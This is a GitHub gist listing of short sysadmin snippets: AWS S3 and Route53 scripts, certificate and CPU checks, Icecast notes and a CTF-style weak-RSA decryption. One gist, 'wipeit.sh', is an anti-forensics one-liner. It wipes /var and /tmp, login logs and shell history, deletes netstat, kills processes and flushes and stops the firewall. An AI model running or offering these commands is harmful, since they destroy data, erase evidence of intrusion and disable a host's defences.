Skip to content

Instantly share code, notes, and snippets.

View colehocking's full-sized avatar

Cole Hocking colehocking

  • Colorado
View GitHub Profile
@colehocking
colehocking / s3bucketSize.sh
Created July 30, 2020 16:55
Get the S3 bucket size
aws s3api --profile PROFILE_NAME list-objects --bucket BUCKET_NAME --output json --query "[sum(Contents[].Size), length(Contents[])]" | awk 'NR!=2 {print $0;next} NR==2 {print $0/1024/1024/1024" GB"}'
@colehocking
colehocking / s3archiveLR.ps1
Created July 29, 2020 21:51
Upload LogRhythm Archives to S3
$inactive_archives_path = 'D:\LogRhythmArchives\Inactive'
$s3_bucket = 's3-bucket-name-goes-here'
$TTL = 3
Set-AWSCredentials -StoredCredentials stored-cred-name
Set-DefaultAWSRegion us-east-1
# Get all archive directories
$inactive_archives = Get-ChildItem -Path $inactive_archives_path
# Get oldest date to keep
#!/usr/bin/env python
# Calculate sum of files older than X date
# File is large csv w/ format: filename,date time:time,x.xxx(mb)
# -- Cole Hocking
import csv
from datetime import datetime, timedelta
from sys import argv, exit
import os.path as opath
@colehocking
colehocking / 88mph.sh
Created July 30, 2019 16:44
See how many jigawatts are in your flux capacitor
#!/bin/bash
# Check supported total number of CPUs
grep CONFIG_NR_CPUS /boot/config-`uname -r`
# Check the number of processors the OS is utilizing
dmesg | grep processor
@colehocking
colehocking / wipeit.sh
Created July 16, 2019 20:39
We were never here...
rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;
@colehocking
colehocking / aws_getSubdomainList.sh
Last active July 16, 2019 18:38
Get subdomain list from AWS Route53 Zone ID argument
#!/bin/bash
#
# Get Subdomain Record Sets for Hosted Zone ID in Route 53
# Requires: AWS CLI; jq
# -- Cole Hocking
# Takes Hosted Zone ID as arg
HZID=$1
OUTFILE="./subdomain_list.txt"
@colehocking
colehocking / icecast.txt
Created June 6, 2019 17:50
Icecast Notes
# install
sudo apt install icecast2
# find lost configs
dpkg -L icecast2 | grep etc
# default config path
/etc/icecast2/icecast.xml
@colehocking
colehocking / check_cert.sh
Last active May 2, 2019 16:05
Check Certificate status
#!/bin/bash
if [[ $# -ne 1 ]]
then
echo "Usage: ./check_cert.sh <domain>"
exit(1)
fi
DOMAIN=$1
@colehocking
colehocking / brain.py
Created February 26, 2019 20:42
Decrypting Weak RSA...
crypt = { "p":"7901324502264899236349230781143813838831920474669364339844939631481665770635584819958931021644265960578585153616742963330195946431321644921572803658406281",
"q":"12802918451444044622583757703752066118180068668479378778928741088302355425977192996799623998720429594346778865275391307730988819243843851683079000293815051",
"dp":"5540655028622021934429306287937775291955623308965208384582009857376053583575510784169616065113641391169613969813652523507421157045377898542386933198269451",
"dq": "9066897320308834206952359399737747311983309062764178906269475847173966073567988170415839954996322314157438770225952491560052871464136163421892050057498651",
"c":"62078086677416686867183857957350338314446280912673392448065026850212685326551183962056495964579782325302082054393933682265772802750887293602432512967994805549965020916953644635965916607925335639027579187435180607475963322465417758959002385451863122106487834784688029167720175128082066670945625067803812970871"}
# Chinese remainder algorithm
# dp = (1/e)
@colehocking
colehocking / fix_hanging_sudo.sh
Created February 14, 2019 19:31
Fix sudo hanging on remote servers
#!/bin/bash
# This may take 45-90 seconds to complete; hang in there!
hostname | (echo -n "127.0.0.1 " && cat) | sudo tee -a /etc/hosts